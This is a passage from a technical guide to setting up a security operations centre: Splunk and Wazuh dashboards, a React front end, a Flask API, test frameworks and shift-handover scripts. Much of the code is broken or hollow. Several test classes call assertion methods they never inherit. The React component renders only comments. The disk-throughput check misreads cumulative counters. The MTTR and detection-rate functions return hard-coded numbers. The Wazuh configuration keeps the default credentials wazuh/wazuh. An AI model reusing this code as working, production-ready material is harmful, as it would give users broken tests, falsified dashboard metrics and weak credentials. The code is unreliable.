});

# Make dashboard accessible
sudo chown -R splunk:splunk /opt/splunk/etc/apps/SOC_Dashboards
sudo chmod -R 755 /opt/splunk/etc/apps/SOC_Dashboards
```

15.3 Wazuh Dashboard Implementation

Implement Wazuh dashboards for endpoint monitoring, threat detection, and compliance reporting. This includes Kibana integration and custom visualization.

```
# Create Wazuh dashboard configuration
sudo nano /opt/wazuh-dashboard/config/wazuh.yml

# Wazuh Dashboard Configuration:
hosts:
- default:
url: https://wazuh-manager
port: 55000
username: wazuh
password: wazuh
api_url: https://wazuh-manager:55000
api_username: wazuh
api_password: wazuh
```

```
# Create custom Wazuh dashboard
sudo nano /opt/wazuh-dashboard/public/dashboards/security_overview.json

# Dashboard JSON configuration:
{
"title": "Wazuh Security Overview",
"hits": 0,
"description": "Comprehensive security monitoring dashboard",
"panelsJSON": [
{
"id": "threat_summary",
"type": "visualization",
"title": "Threat Summary",
"visState": {
"type": "pie",
"params": {
"type": "pie",
"addTooltip": true,
"addLegend": true,
"legendPosition": "bottom"
},
"aggs": [
{
"id": "1",
"enabled": true,
"type": "count",
"schema": "metric",
"params": {}
},
{
"id": "2",
"enabled": true,
"type": "terms",
"schema": "segment",
"params": {
"field": "rule.level",
"size": 5
}
}
]
}
},
{
"id": "recent_alerts",
"type": "visualization",
"title": "Recent Alerts",
"visState": {
"type": "table",
"params": {
"perPage": 10,
"showPartialRows": false,
"showMeticsAtAllLevels": false
},
"aggs": [
{
"id": "1",
"enabled": true,
"type": "count",
"schema": "metric",
"params": {}
},
{
"id": "2",
"enabled": true,
"type": "terms",
"schema": "bucket",
"params": {
"field": "rule.description",
"size": 10
}
}
]
}
}
],
"timeRestore": false,
"version": 1,
"time": {
"from": "now-24h",
"to": "now"
}
}

# Create Wazuh dashboard script
sudo nano /opt/wazuh-dashboard/bin/create_dashboard.py

# Dashboard creation script:
#!/usr/bin/env python3
import requests
import json
import os

class WazuhDashboardCreator:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)

def create_security_dashboard(self):
# Create security overview dashboard
dashboard_data = {
'title': 'Wazuh Security Overview',
'description': 'Comprehensive security monitoring dashboard',
'panels': self.create_dashboard_panels()
}

return self.save_dashboard(dashboard_data)

def create_dashboard_panels(self):
# Create dashboard panels
panels = [
self.create_threat_summary_panel(),
self.create_recent_alerts_panel(),
self.create_system_health_panel(),
self.create_compliance_panel()
]

return panels

def create_threat_summary_panel(self):
# Create threat summary panel
```

```
panel = {
'id': 'threat_summary',
'type': 'visualization',
'title': 'Threat Summary',
'visState': {
'type': 'pie',
'params': {
'type': 'pie',
'addTooltip': True,
'addLegend': True,
'legendPosition': 'bottom'
},
'aggs': [
{
'id': '1',
'enabled': True,
'type': 'count',
'schema': 'metric',
'params': {}
},
{
'id': '2',
'enabled': True,
'type': 'terms',
'schema': 'segment',
'params': {
'field': 'rule.level',
'size': 5
}
}
]
}
}

return panel

def create_recent_alerts_panel(self):
# Create recent alerts panel
panel = {
```

```
'id': 'recent_alerts',
'type': 'visualization',
'title': 'Recent Alerts',
'visState': {
'type': 'table',
'params': {
'perPage': 10,
'showPartialRows': False,
'showMeticsAtAllLevels': False
},
'aggs': [
{
'id': '1',
'enabled': True,
'type': 'count',
'schema': 'metric',
'params': {}
},
{
'id': '2',
'enabled': True,
'type': 'terms',
'schema': 'bucket',
'params': {
'field': 'rule.description',
'size': 10
}
}
]
}
}

return panel

def save_dashboard(self, dashboard_data):

# Save dashboard to file

dashboard_file =
'/opt/wazuh-dashboard/public/dashboards/security_overview.json'

with open(dashboard_file, 'w') as f:
```

```
json.dump(dashboard_data, f, indent=2)

return dashboard_file

# Make script executable
sudo chmod +x /opt/wazuh-dashboard/bin/create_dashboard.py
```

15.4 Custom Dashboard Development

Develop custom dashboards using modern web technologies for specialized security monitoring requirements. This includes React, Vue.js, and D3.js integration.

```
# Create custom dashboard development environment
sudo mkdir -p /opt/soc/custom-dashboards/{src,public,dist}
cd /opt/soc/custom-dashboards

# Initialize Node.js project
npm init -y
npm install react react-dom vue vue-router d3 axios
npm install --save-dev webpack webpack-cli babel-loader

# Create React-based security dashboard
sudo nano /opt/soc/custom-dashboards/src/SecurityDashboard.jsx

# React Security Dashboard Component:
import React, { useState, useEffect } from 'react';
import axios from 'axios';
import * as d3 from 'd3';

const SecurityDashboard = () => {
const [securityData, setSecurityData] = useState({
threats: [],
incidents: [],
metrics: {}
});

useEffect(() => {
// Fetch security data
fetchSecurityData();

// Set up auto-refresh
const interval = setInterval(fetchSecurityData, 30000);

return () => clearInterval(interval);
}, []);
```

```
const fetchSecurityData = async () => {
try {
const response = await axios.get('/api/security/data');
setSecurityData(response.data);
} catch (error) {
console.error('Error fetching security data:', error);
}
};

const renderThreatChart = () => {
// D3.js threat visualization
const svg = d3.select('#threat-chart');

// Clear previous chart
svg.selectAll('*').remove();

// Create chart
const width = 400;
const height = 300;

const chart = svg.append('g')
.attr('transform', `translate(${width/2}, ${height/2})`);

// Create pie chart
const pie = d3.pie()
.value(d => d.count);

const arc = d3.arc()
.innerRadius(0)
.outerRadius(100);

const color = d3.scaleOrdinal(d3.schemeCategory10);

chart.selectAll('path')
.data(pie(securityData.threats))
.enter()
.append('path')
.attr('d', arc)
.attr('fill', (d, i) => color(i))
.attr('stroke', 'white')
.style('stroke-width', '2px');
};

useEffect(() => {
```

```
if (securityData.threats.length > 0) {
renderThreatChart();
}
}, [securityData]);

return (
// Security Dashboard Component
// Dashboard structure with multiple panels
// - Threat Summary panel with charts
// - Recent Incidents panel with list
// - Security Metrics panel with KPIs
// Each panel refreshes automatically
// Real-time data integration
// Responsive design for different screen sizes
);
};

export default SecurityDashboard;

# Create CSS styles for dashboard
sudo nano /opt/soc/custom-dashboards/src/dashboard.css

# Dashboard CSS styles:
.security-dashboard {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
}

.dashboard-header {
display: flex;
justify-content: space-between;
align-items: center;
background: rgba(255, 255, 255, 0.1);
padding: 20px;
border-radius: 10px;
margin-bottom: 20px;
backdrop-filter: blur(10px);
}

.dashboard-header h1 {
```

```
color: white;
margin: 0;
font-size: 2.5em;
font-weight: 300;
}

.dashboard-controls {
display: flex;
gap: 15px;
align-items: center;
}

.dashboard-controls button {
background: rgba(255, 255, 255, 0.2);
border: 1px solid rgba(255, 255, 255, 0.3);
color: white;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
transition: all 0.3s ease;
}

.dashboard-controls button:hover {
background: rgba(255, 255, 255, 0.3);
transform: translateY(-2px);
}

.dashboard-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
gap: 20px;
}

.dashboard-panel {
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
padding: 20px;
backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.2);
}

.dashboard-panel h3 {
```

```css
color: white;
margin: 0 0 15px 0;
font-size: 1.5em;
font-weight: 400;
}

#threat-chart {
width: 100%;
height: 300px;
}

.incident-list {
max-height: 300px;
overflow-y: auto;
}

.incident-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px;
margin: 5px 0;
background: rgba(255, 255, 255, 0.1);
border-radius: 5px;
color: white;
}

.severity-critical {
background: #ff4757;
color: white;
padding: 2px 8px;
border-radius: 3px;
font-size: 0.8em;
}

.severity-high {
background: #ffa502;
color: white;
padding: 2px 8px;
border-radius: 3px;
font-size: 0.8em;
```

```
}
.severity-medium {
background: #ffb142;
color: white;
padding: 2px 8px;
border-radius: 3px;
font-size: 0.8em;
}
.severity-low {
background: #2ed573;
color: white;
padding: 2px 8px;
border-radius: 3px;
font-size: 0.8em;
}
.metrics-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 15px;
}
.metric-item {
text-align: center;
color: white;
}
.metric-value {
display: block;
font-size: 2em;
font-weight: bold;
margin-bottom: 5px;
}
.metric-label {
font-size: 0.9em;
opacity: 0.8;
}
# Build the dashboard
npm run build
```

```
# Start the dashboard server
npm start
```

15.5 Dashboard Integration and APIs

Implement API endpoints and data integration for dashboard connectivity with various security tools and data sources. This includes REST APIs, real-time data streaming, and authentication.

```
# Create dashboard API server
sudo nano /opt/soc/dashboards/api/dashboard_api.py

# Dashboard API Server:
#!/usr/bin/env python3
from flask import Flask, jsonify, request
from flask_cors import CORS
import requests
import json
from datetime import datetime, timedelta
import logging

app = Flask(__name__)
CORS(app)

# Configure logging
logging.basicConfig(
filename='/var/log/soc/dashboard_api.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# Configuration
SPLUNK_URL = "https://splunk-server:8089"
WAZUH_URL = "https://wazuh-manager:55000"
JIRA_URL = "https://jira-server:8080"

@app.route('/api/security/data', methods=['GET'])
def get_security_data():
"""Get comprehensive security data for dashboard"""
try:
# Collect data from various sources
threats = get_threat_data()
```

```
incidents = get_incident_data()
metrics = get_security_metrics()

response_data = {
'threats': threats,
'incidents': incidents,
'metrics': metrics,
'timestamp': datetime.now().isoformat()
}

return jsonify(response_data)
except Exception as e:
logger.error(f"Error getting security data: {e}")
return jsonify({'error': str(e)}), 500

@app.route('/api/threats', methods=['GET'])
def get_threat_data():
"""Get threat data from Splunk"""
try:
# Query Splunk for threat data
splunk_query = "index=security_events | stats count by severity"

headers = {
'Authorization': f"Bearer {get_splunk_token()}",
'Content-Type': 'application/x-www-form-urlencoded'
}

data = {
'search': splunk_query,
'output_mode': 'json'
}

response = requests.post(
f"{SPLUNK_URL}/services/search/jobs",
headers=headers,
data=data
)

if response.status_code == 200:
results = response.json()
threats = []

for result in results.get('results', []):
```

```
threats.append({
'severity': result.get('severity', 'Unknown'),
'count': int(result.get('count', 0))
})

return threats
else:
logger.error(f"Splunk API error: {response.text}")
return []
except Exception as e:
logger.error(f"Error getting threat data: {e}")
return []

@app.route('/api/incidents', methods=['GET'])
def get_incident_data():
"""Get incident data from Jira"""
try:
# Query Jira for incident data
jira_query = "project = SEC AND status != Closed ORDER BY created DESC"

headers = {
'Authorization': f"Bearer {get_jira_token()}",
'Content-Type': 'application/json'
}

response = requests.get(
f"{JIRA_URL}/rest/api/2/search?jql={jira_query}",
headers=headers
)

if response.status_code == 200:
results = response.json()
incidents = []

for issue in results.get('issues', []):
incidents.append({
'id': issue['key'],
'title': issue['fields']['summary'],
'severity': issue['fields'].get('priority', {}).get('name', 'Medium'),
'status': issue['fields']['status']['name'],
'timestamp': issue['fields']['created']
})
```

```
return incidents
else:
logger.error(f"Jira API error: {response.text}")
return []
except Exception as e:
logger.error(f"Error getting incident data: {e}")
return []

@app.route('/api/metrics', methods=['GET'])
def get_security_metrics():
"""Get security performance metrics"""
try:
# Calculate security metrics
metrics = {
'mttr': calculate_mttr(),
'mttd': calculate_mttd(),
'false_positive_rate': calculate_false_positive_rate(),
'threat_detection_rate': calculate_threat_detection_rate()
}

return metrics
except Exception as e:
logger.error(f"Error getting metrics: {e}")
return {}

@app.route('/api/health', methods=['GET'])
def health_check():
"""Health check endpoint"""
return jsonify({'status': 'healthy', 'timestamp':
datetime.now().isoformat()})

def get_splunk_token():
"""Get Splunk authentication token"""
# Implementation for getting Splunk token
return "your-splunk-token"

def get_jira_token():
"""Get Jira authentication token"""
# Implementation for getting Jira token
return "your-jira-token"

def calculate_mttr():
```

```
"""Calculate Mean Time to Resolution"""
# Implementation for MTTR calculation
return 2.5

def calculate_mttd():
"""Calculate Mean Time to Detection"""
# Implementation for MTTD calculation
return 1.2

def calculate_false_positive_rate():
"""Calculate false positive rate"""
# Implementation for false positive calculation
return 5.2

def calculate_threat_detection_rate():
"""Calculate threat detection rate"""
# Implementation for threat detection calculation
return 95.8

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

# Create systemd service for dashboard API
sudo nano /etc/systemd/system/dashboard-api.service

# Dashboard API service configuration:
[Unit]
Description=SOC Dashboard API
After=network.target

[Service]
Type=simple
User=socadmin
WorkingDirectory=/opt/soc/dashboards/api
ExecStart=/usr/bin/python3 dashboard_api.py
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

# Enable and start the service
sudo systemctl daemon-reload
sudo systemctl enable dashboard-api
sudo systemctl start dashboard-api

# Make API script executable

sudo chmod +x /opt/soc/dashboards/api/dashboard_api.py
```

Appendix A: Configuration Files

A.1 Splunk Configuration Files

Essential Splunk configuration files for the SOC project implementation.

```
# /opt/splunk/etc/system/local/indexes.conf
[security_events]
homePath = $SPLUNK_DB/security_events/db
coldPath = $SPLUNK_DB/security_events/colddb
thawedPath = $SPLUNK_DB/security_events/thaweddb
maxTotalDataSizeMB = 10000
frozenTimePeriodInSecs = 7776000

[cloud_logs]
homePath = $SPLUNK_DB/cloud_logs/db
coldPath = $SPLUNK_DB/cloud_logs/colddb
thawedPath = $SPLUNK_DB/cloud_logs/thaweddb
maxTotalDataSizeMB = 5000
frozenTimePeriodInSecs = 2592000
```

A.2 Wazuh Configuration Files

Essential Wazuh configuration files for endpoint detection and response.

```
# /var/ossec/etc/ossec.conf

yes
yes

soc_cluster
soc_manager
master
your_cluster_key
1516

firewall-drop
local
6
600
```

Chapter 16: Testing & Validation

16.1 Testing Overview

Implement comprehensive testing and validation procedures to ensure the SOC implementation meets security requirements, performance standards, and operational readiness. This includes unit testing, integration testing, and end-to-end validation.

```
# Create testing and validation framework
sudo mkdir -p /opt/soc/testing/{unit,integration,performance,security}
sudo chown -R socadmin:soc /opt/soc/testing

# Create testing configuration
sudo nano /opt/soc/testing/config/test_config.json

# Configuration content:
{
"test_types": {
"unit_tests": {
"framework": "pytest",
"coverage_target": 85,
"timeout": 300
},
"integration_tests": {
"framework": "behave",
"scenarios": "security_scenarios",
"timeout": 600
},
"performance_tests": {
"framework": "locust",
"load_scenarios": "high_traffic",
"duration": 1800
},
"security_tests": {
"framework": "custom",
"penetration_tests": true,
"vulnerability_scans": true
}
},
"test_environments": [
"development",
"staging",
"production"
],
"validation_criteria": {
"detection_rate": 95,
"false_positive_rate": 5,
"response_time": 30,
"availability": 99.9
}
}
```

16.2 Unit Testing Framework

Implement comprehensive unit testing for all SOC components including detection rules, automation scripts, and API endpoints.

```
#!/usr/bin/env python3
# Unit Testing Framework for SOC Components
import unittest
import json
import requests
from unittest.mock import Mock, patch

class SOCUnitTests(unittest.TestCase):
def setUp(self):
# Set up test environment
self.test_config = {
'splunk_url': 'https://test-splunk:8089',
'wazuh_url': 'https://test-wazuh:55000',
'jira_url': 'https://test-jira:8080'
}

def test_detection_rule_validation(self):
# Test detection rule validation
test_rule = {
'name': 'Test Malware Detection',
'query': 'index=security_events malware=true',
'severity': 'high'
}
```

```
# Validate rule structure
self.assertIn('name', test_rule)
self.assertIn('query', test_rule)
self.assertIn('severity', test_rule)

# Validate severity levels
valid_severities = ['low', 'medium', 'high', 'critical']
self.assertIn(test_rule['severity'], valid_severities)

def test_alert_processing(self):
# Test alert processing functionality
test_alert = {
'alert_id': 'TEST-001',
'severity': 'high',
'source_ip': '192.168.1.100',
'message': 'Suspicious activity detected'
}

# Test alert validation
self.assertIsInstance(test_alert['alert_id'], str)
self.assertIsInstance(test_alert['severity'], str)
self.assertIsInstance(test_alert['source_ip'], str)

# Test IP validation
import re
ip_pattern = r'^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$'
self.assertIsNotNone(re.match(ip_pattern, test_alert['source_ip']))

@patch('requests.post')
def test_jira_integration(self, mock_post):
# Test Jira integration
mock_response = Mock()
mock_response.status_code = 201
mock_response.json.return_value = {'key': 'SEC-001'}
mock_post.return_value = mock_response

# Test ticket creation
ticket_data = {
'summary': 'Test Security Incident',
'description': 'Test incident description',
'priority': 'High'
}
```

```
response = requests.post('https://test-jira/rest/api/2/issue',
json={'fields': ticket_data})

self.assertEqual(response.status_code, 201)
self.assertIn('key', response.json())

def test_threat_intelligence_validation(self):
# Test threat intelligence data validation
test_ioc = {
'type': 'ip',
'value': '192.168.1.100',
'confidence': 85,
'source': 'test_feed'
}

# Validate IOC structure
self.assertIn('type', test_ioc)
self.assertIn('value', test_ioc)
self.assertIn('confidence', test_ioc)

# Validate confidence score
self.assertGreaterEqual(test_ioc['confidence'], 0)
self.assertLessEqual(test_ioc['confidence'], 100)

def test_automation_script_validation(self):
# Test automation script validation
test_script = {
'name': 'block_ip',
'type': 'active_response',
'parameters': ['ip_address'],
'timeout': 300
}

# Validate script structure
self.assertIn('name', test_script)
self.assertIn('type', test_script)
self.assertIn('parameters', test_script)

# Validate timeout
self.assertGreater(test_script['timeout'], 0)

if __name__ == '__main__':
unittest.main()
```

```
# Run unit tests
python -m pytest /opt/soc/testing/unit/ -v --cov=soc --cov-report=html
```

16.3 Integration Testing

Perform comprehensive integration testing to validate the interaction between different SOC components and ensure end-to-end functionality.

```
#!/usr/bin/env python3
# Integration Testing Framework
import requests
import json
import time
from behave import given, when, then

class SOCIntegrationTests:
def __init__(self):
self.test_results = []
self.base_urls = {
'splunk': 'https://test-splunk:8089',
'wazuh': 'https://test-wazuh:55000',
'jira': 'https://test-jira:8080'
}

def test_end_to_end_incident_workflow(self):
# Test complete incident workflow
print('Testing end-to-end incident workflow...')

# Step 1: Generate test alert
test_alert = self.generate_test_alert()
self.assertIsNotNone(test_alert)

# Step 2: Verify alert detection
detection_result = self.verify_alert_detection(test_alert)
self.assertTrue(detection_result)

# Step 3: Verify ticket creation
ticket_created = self.verify_ticket_creation(test_alert)
self.assertTrue(ticket_created)

# Step 4: Verify automated response
response_triggered = self.verify_automated_response(test_alert)
self.assertTrue(response_triggered)
```

```
print('End-to-end workflow test completed successfully')

def test_data_integration(self):
# Test data integration between components
print('Testing data integration...')

# Test Splunk to Wazuh data flow
splunk_data = self.get_splunk_test_data()
wazuh_integration = self.test_wazuh_integration(splunk_data)
self.assertTrue(wazuh_integration)

# Test Wazuh to Jira data flow
wazuh_alerts = self.get_wazuh_test_alerts()
jira_integration = self.test_jira_integration(wazuh_alerts)
self.assertTrue(jira_integration)

print('Data integration test completed successfully')

def test_performance_under_load(self):
# Test system performance under load
print('Testing performance under load...')

# Generate high volume of test alerts
test_alerts = self.generate_high_volume_alerts(1000)

# Measure processing time
start_time = time.time()
processing_result = self.process_alerts(test_alerts)
end_time = time.time()

processing_time = end_time - start_time

# Validate performance requirements
self.assertLess(processing_time, 300, # 5 minutes max
f'Processing time {processing_time}s exceeds limit')

print(f'Performance test completed in {processing_time}s')

def generate_test_alert(self):
# Generate a test security alert
return {
'alert_id': f'TEST-{int(time.time())}',
'severity': 'high',
'source_ip': '192.168.1.100',
'destination_ip': '10.0.0.1',
'message': 'Test security incident',
'timestamp': time.time()
}

def verify_alert_detection(self, alert):
# Verify alert is detected by SOC components
try:
# Check Splunk detection
splunk_detected = self.check_splunk_detection(alert)

# Check Wazuh detection
wazuh_detected = self.check_wazuh_detection(alert)

return splunk_detected and wazuh_detected
except Exception as e:
print(f'Alert detection verification failed: {e}')
return False

def verify_ticket_creation(self, alert):
# Verify Jira ticket creation
try:
# Check if ticket was created
ticket_exists = self.check_jira_ticket(alert)
return ticket_exists
except Exception as e:
print(f'Ticket creation verification failed: {e}')
return False

def verify_automated_response(self, alert):
# Verify automated response execution
try:
# Check if response was triggered
response_executed = self.check_automated_response(alert)
return response_executed
except Exception as e:
print(f'Automated response verification failed: {e}')
return False

# Run integration tests
python -m behave /opt/soc/testing/integration/features/ --format=pretty
```

16.4 Security Testing

Conduct comprehensive security testing including penetration testing, vulnerability assessment, and security validation of the SOC implementation.

```
#!/usr/bin/env python3

# Security Testing Framework

import nmap

import requests

import subprocess

import json

class SOCSecurityTests:

def __init__(self):

self.test_targets = [

'splunk-server',

'wazuh-manager',

'jira-server',

'soc-dashboard'

]

def test_network_security(self):

# Test network security configuration

print('Testing network security...')

for target in self.test_targets:

# Port scanning

open_ports = self.scan_ports(target)

# Validate expected ports only

expected_ports = self.get_expected_ports(target)

unexpected_ports = set(open_ports) - set(expected_ports)

if unexpected_ports:

print(f'Warning: Unexpected ports open on {target}: {unexpected_ports}')

else:

print(f'Network security test passed for {target}')

def test_authentication_security(self):

# Test authentication mechanisms

print('Testing authentication security...')

# Test password policies

password_policy = self.test_password_policy()
```

```
self.assertTrue(password_policy, 'Password policy test failed')

# Test multi-factor authentication
mfa_enabled = self.test_mfa_enabled()
self.assertTrue(mfa_enabled, 'MFA test failed')

# Test session management
session_security = self.test_session_security()
self.assertTrue(session_security, 'Session security test failed')

print('Authentication security test passed')

def test_data_encryption(self):
# Test data encryption
print('Testing data encryption...')

# Test TLS/SSL configuration
tls_config = self.test_tls_configuration()
self.assertTrue(tls_config, 'TLS configuration test failed')

# Test data at rest encryption
data_encryption = self.test_data_at_rest_encryption()
self.assertTrue(data_encryption, 'Data encryption test failed')

# Test data in transit encryption
transit_encryption = self.test_data_in_transit_encryption()
self.assertTrue(transit_encryption, 'Transit encryption test failed')

print('Data encryption test passed')

def test_access_controls(self):
# Test access control mechanisms
print('Testing access controls...')

# Test role-based access control
rbac_test = self.test_rbac()
self.assertTrue(rbac_test, 'RBAC test failed')

# Test least privilege principle
least_privilege = self.test_least_privilege()
self.assertTrue(least_privilege, 'Least privilege test failed')

# Test access logging
access_logging = self.test_access_logging()
self.assertTrue(access_logging, 'Access logging test failed')

print('Access controls test passed')
```

```
def test_vulnerability_scanning(self):
# Perform vulnerability scanning
print('Performing vulnerability scan...')

# Run automated vulnerability scan
vuln_scan_results = self.run_vulnerability_scan()

# Analyze results
critical_vulns = self.analyze_vulnerabilities(vuln_scan_results)

if critical_vulns:
print(f'Warning: {len(critical_vulns)} critical vulnerabilities found')
for vuln in critical_vulns:
print(f'- {vuln}')
else:
print('No critical vulnerabilities found')

def scan_ports(self, target):
# Scan open ports on target
nm = nmap.PortScanner()
nm.scan(target, '1-1024')

open_ports = []
for host in nm.all_hosts():
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
open_ports.extend(ports)

return open_ports

def get_expected_ports(self, target):
# Define expected ports for each target
expected_ports = {
'splunk-server': [8089, 8000, 9997],
'wazuh-manager': [55000, 1514, 1515],
'jira-server': [8080, 8443],
'soc-dashboard': [80, 443, 5000]
}

return expected_ports.get(target, [])

# Run security tests
python /opt/soc/testing/security/security_tests.py
```

16.5 Performance Testing

Conduct comprehensive performance testing to validate system scalability, response times, and resource utilization under various load conditions.

```
#!/usr/bin/env python3

# Performance Testing Framework

import time

import threading

import statistics

import psutil

class SOCPerformanceTests:

def __init__(self):

self.performance_metrics = {}

self.test_results = []

def test_system_performance(self):

# Test overall system performance

print('Testing system performance...')

# Test CPU utilization

cpu_usage = self.test_cpu_performance()

self.assertLess(cpu_usage, 80, 'CPU usage exceeds threshold')

# Test memory utilization

memory_usage = self.test_memory_performance()

self.assertLess(memory_usage, 85, 'Memory usage exceeds threshold')

# Test disk I/O

disk_performance = self.test_disk_performance()

self.assertTrue(disk_performance, 'Disk performance test failed')

# Test network performance

network_performance = self.test_network_performance()

self.assertTrue(network_performance, 'Network performance test failed')

print('System performance test passed')

def test_load_performance(self):

# Test performance under load

print('Testing load performance...')

# Generate load scenarios

load_scenarios = [

{'name': 'Low Load', 'alerts_per_minute': 10},
{'name': 'Medium Load', 'alerts_per_minute': 100},
{'name': 'High Load', 'alerts_per_minute': 500},
{'name': 'Peak Load', 'alerts_per_minute': 1000}
]

for scenario in load_scenarios:
print(f'Testing {scenario["name"]}...')

# Run load test
start_time = time.time()
test_result = self.run_load_test(scenario)
end_time = time.time()

# Calculate metrics
test_duration = end_time - start_time
avg_response_time = test_result.get('avg_response_time', 0)
success_rate = test_result.get('success_rate', 0)

# Validate performance requirements
self.assertLess(avg_response_time, 5, # 5 seconds max
f'Response time {avg_response_time}s exceeds limit')
self.assertGreater(success_rate, 95, # 95% success rate
f'Success rate {success_rate}% below threshold')

print(f'{scenario["name"]} test passed')

def test_scalability(self):
# Test system scalability
print('Testing system scalability...')

# Test horizontal scaling
scaling_test = self.test_horizontal_scaling()
self.assertTrue(scaling_test, 'Horizontal scaling test failed')

# Test vertical scaling
vertical_scaling = self.test_vertical_scaling()
self.assertTrue(vertical_scaling, 'Vertical scaling test failed')

# Test auto-scaling
auto_scaling = self.test_auto_scaling()
self.assertTrue(auto_scaling, 'Auto-scaling test failed')

print('Scalability test passed')

def test_cpu_performance(self):
```

```
# Test CPU performance
cpu_percent = psutil.cpu_percent(interval=1)
return cpu_percent

def test_memory_performance(self):
# Test memory performance
memory = psutil.virtual_memory()
return memory.percent

def test_disk_performance(self):
# Test disk I/O performance
disk_io = psutil.disk_io_counters()

# Check if disk I/O is within acceptable limits
read_bytes_per_sec = disk_io.read_bytes / 1024 / 1024 # MB/s
write_bytes_per_sec = disk_io.write_bytes / 1024 / 1024 # MB/s

return read_bytes_per_sec < 100 and write_bytes_per_sec < 100

def test_network_performance(self):
# Test network performance
net_io = psutil.net_io_counters()

# Check network utilization
bytes_sent = net_io.bytes_sent / 1024 / 1024 # MB
bytes_recv = net_io.bytes_recv / 1024 / 1024 # MB

return bytes_sent > 0 and bytes_recv > 0

def run_load_test(self, scenario):
# Run load test for specific scenario
alerts_per_minute = scenario['alerts_per_minute']

# Generate test alerts
test_alerts = self.generate_test_alerts(alerts_per_minute)

# Process alerts and measure performance
start_time = time.time()
processed_alerts = self.process_alerts(test_alerts)
end_time = time.time()

# Calculate metrics
total_time = end_time - start_time
avg_response_time = total_time / len(test_alerts) if test_alerts else 0
success_rate = (len(processed_alerts) / len(test_alerts)) * 100 if test_alerts
else 0
```

```
return {
'avg_response_time': avg_response_time,
'success_rate': success_rate,
'total_alerts': len(test_alerts),
'processed_alerts': len(processed_alerts)
}

# Run performance tests
python /opt/soc/testing/performance/performance_tests.py
```

Chapter 17: Day-to-Day Operations

17.1 Daily Operations Overview

Establish comprehensive day-to-day operational procedures for SOC management, including shift handovers, incident response workflows, and continuous monitoring activities. This ensures consistent and effective security operations.

```
# Create daily operations framework
sudo mkdir -p /opt/soc/operations/{shifts,procedures,checklists}
sudo chown -R socadmin:soc /opt/soc/operations

# Create operations configuration
sudo nano /opt/soc/operations/config/operations_config.json

# Configuration content:
{
"shift_schedules": {
"morning": "08:00-16:00",
"afternoon": "16:00-00:00",
"night": "00:00-08:00"
},
"daily_tasks": [
"system_health_check",
"alert_review",
"incident_triage",
"threat_hunting",
"report_generation"
],
"escalation_procedures": {
"level_1": "analyst_response",
"level_2": "senior_analyst",
"level_3": "incident_manager",
"level_4": "management"
},
"communication_channels": [
"slack",
"email",
"phone",
"pagerduty"
]
}
```

17.2 Shift Management

Implement comprehensive shift management procedures including handover protocols, shift schedules, and team coordination to ensure 24/7 security monitoring.

```
#!/usr/bin/env python3
# Shift Management System
import json
import datetime
import logging

class SOCShiftManager:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.setup_logging()

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/shift_management.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def create_shift_handover(self, outgoing_analyst, incoming_analyst):
# Create shift handover report
handover_data = {
'timestamp': datetime.datetime.now().isoformat(),
'outgoing_analyst': outgoing_analyst,
'incoming_analyst': incoming_analyst,
'active_incidents': self.get_active_incidents(),
'pending_alerts': self.get_pending_alerts(),
'system_status': self.get_system_status(),
'escalations': self.get_pending_escalations()
}

# Generate handover report
report = self.generate_handover_report(handover_data)
```

```
# Send handover notification
self.send_handover_notification(handover_data)

return report

def get_active_incidents(self):
# Get active incidents from Jira
try:
# Query Jira for active incidents
jira_query = "project = SEC AND status != Closed"

# Return active incidents
return [
{'key': 'SEC-001', 'summary': 'Malware Detection', 'priority': 'High'},
{'key': 'SEC-002', 'summary': 'Suspicious Login', 'priority': 'Medium'}
]
except Exception as e:
self.logger.error(f'Error getting active incidents: {e}')
return []

def get_pending_alerts(self):
# Get pending alerts from Splunk
try:
# Query Splunk for pending alerts
splunk_query = "index=security_events status=pending"

# Return pending alerts
return [
{'alert_id': 'ALT-001', 'severity': 'High', 'source': 'Splunk'},
{'alert_id': 'ALT-002', 'severity': 'Medium', 'source': 'Wazuh'}
]
except Exception as e:
self.logger.error(f'Error getting pending alerts: {e}')
return []

def get_system_status(self):
# Get system health status
return {
'splunk': 'healthy',
'wazuh': 'healthy',
'jira': 'healthy',
'dashboard': 'healthy'
}

def generate_handover_report(self, handover_data):
# Generate comprehensive handover report
report = f"""
SHIFT HANDOVER REPORT
=====================
Timestamp: {handover_data['timestamp']}
Outgoing Analyst: {handover_data['outgoing_analyst']}
Incoming Analyst: {handover_data['incoming_analyst']}

ACTIVE INCIDENTS:
{self.format_incidents(handover_data['active_incidents'])}

PENDING ALERTS:
{self.format_alerts(handover_data['pending_alerts'])}

SYSTEM STATUS:
{self.format_system_status(handover_data['system_status'])}

ESCALATIONS:
{self.format_escalations(handover_data['escalations'])}
"""

return report

def format_incidents(self, incidents):
# Format incidents for report
if not incidents:
return "No active incidents"

formatted = ""
for incident in incidents:
formatted += f"- {incident['key']}: {incident['summary']}
({incident['priority']})\n"
return formatted

def format_alerts(self, alerts):
# Format alerts for report
if not alerts:
return "No pending alerts"

formatted = ""
for alert in alerts:
```

```
formatted += f"- {alert['alert_id']}: {alert['severity']}
({alert['source']})\n"

return formatted

# Create shift management script

sudo chmod +x /opt/soc/operations/shift_manager.py
```

17.3 Daily Checklists

Implement comprehensive daily checklists for SOC analysts to ensure consistent operational procedures and quality assurance in security monitoring activities.

```
#!/usr/bin/env python3

# Daily Operations Checklist

import json

import datetime

import logging

class SOCDailyChecklist:

def __init__(self):

self.checklist_items = {

'system_health': [

'Check Splunk server status',

